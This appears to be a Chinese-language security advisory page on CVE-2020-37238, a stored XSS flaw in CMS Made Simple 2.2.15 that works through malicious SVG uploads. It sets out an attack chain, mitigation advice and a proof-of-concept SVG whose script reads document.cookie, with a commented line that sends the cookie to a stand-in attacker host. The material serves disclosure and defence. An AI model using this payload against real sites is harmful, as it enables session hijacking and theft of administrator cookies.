IPBUF安全漏洞报告
English
CVE-2020-37238 CVSS 6.4 中危

CVE-2020-37238 CMS Made Simple存储型XSS漏洞

披露日期: 2026-05-16

漏洞信息

漏洞编号
CVE-2020-37238
漏洞类型
存储型跨站脚本攻击
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
CMS Made Simple

相关标签

XSSCMS Made Simple存储型XSS文件上传SVG注入

漏洞概述

CMS Made Simple 2.2.15 版本存在存储型跨站脚本(XSS)漏洞。该漏洞源于系统对上传文件的过滤机制不完善,允许拥有内容管理器权限的认证用户通过文件管理器上传包含恶意JavaScript代码的SVG文件。一旦其他认证用户(如管理员)在后台访问或预览这些被上传的恶意文件,嵌入的脚本将在其浏览器上下文中执行。攻击者可利用此漏洞窃取敏感Cookie、劫持用户会话,甚至执行未授权的后台操作。

技术细节

CMS Made Simple 的文件管理器在处理 SVG(可缩放矢量图形)文件上传时存在安全缺陷,未能对上传文件中的 XML 内容进行有效的安全过滤。SVG 文件基于 XML 格式,支持通过 `<script>` 标签嵌入 JavaScript 代码,或利用 `onload` 等事件属性触发脚本执行。在受影响的 2.2.15 版本中,具备“内容管理器”权限的认证用户可以绕过简单的文件类型检查,上传包含恶意 Payload 的 SVG 文件。该文件上传后,恶意代码被持久化存储在服务器上。由于系统在渲染 SVG 时未使用内容安全策略(CSP)进行严格隔离,当管理员或其他高权限用户通过文件管理器预览或访问该文件时,浏览器会解析 XML 并执行其中的恶意脚本。此时,攻击者可以利用 JavaScript 获取受害者的 `document.cookie`、本地存储数据或执行后台 API 请求,从而实现会话劫持和权限提升。该漏洞无需用户交互即可触发(UI:N),且影响范围可扩展至后台核心功能。

攻击链分析

STEP 1
步骤1:身份认证
攻击者使用低权限账号(如Content Manager)登录CMS Made Simple后台。
STEP 2
步骤2:上传恶意文件
攻击者访问文件管理器,上传包含JavaScript代码的特制SVG文件。
STEP 3
步骤3:存储Payload
服务器将包含恶意脚本的SVG文件保存在磁盘上,未进行内容清洗或转义。
STEP 4
步骤4:触发漏洞
管理员或其他高权限用户浏览文件列表或点击查看该SVG图片。
STEP 5
步骤5:执行攻击
浏览器解析SVG并执行其中的JS代码,攻击者获取管理员Session ID或执行操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept: Malicious SVG for Stored XSS --> <!-- Filename: exploit.svg --> <svg xmlns="http://www.w3.org/2000/svg" onload="alert('CVE-2020-37238 XSS Triggered')"> <text x="0" y="15" font-size="15">XSS Test</text> <!-- Malicious script block --> <script type="text/javascript"> // Demonstrate cookie theft console.log("Vulnerable to XSS"); alert('Document Cookie: ' + document.cookie); // In a real attack scenario, exfiltration would look like: // var i = new Image(); // i.src = "http://attacker-server.com/steal.php?c=" + document.cookie; </script> </svg>

影响范围

CMS Made Simple 2.2.15

防御指南

临时缓解措施
建议立即升级到CMS Made Simple的最新修复版本。若暂时无法升级,应禁用文件管理器中的SVG文件上传功能,或使用Web应用防火墙(WAF)过滤检测上传文件中的脚本标签,并限制文件管理器的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表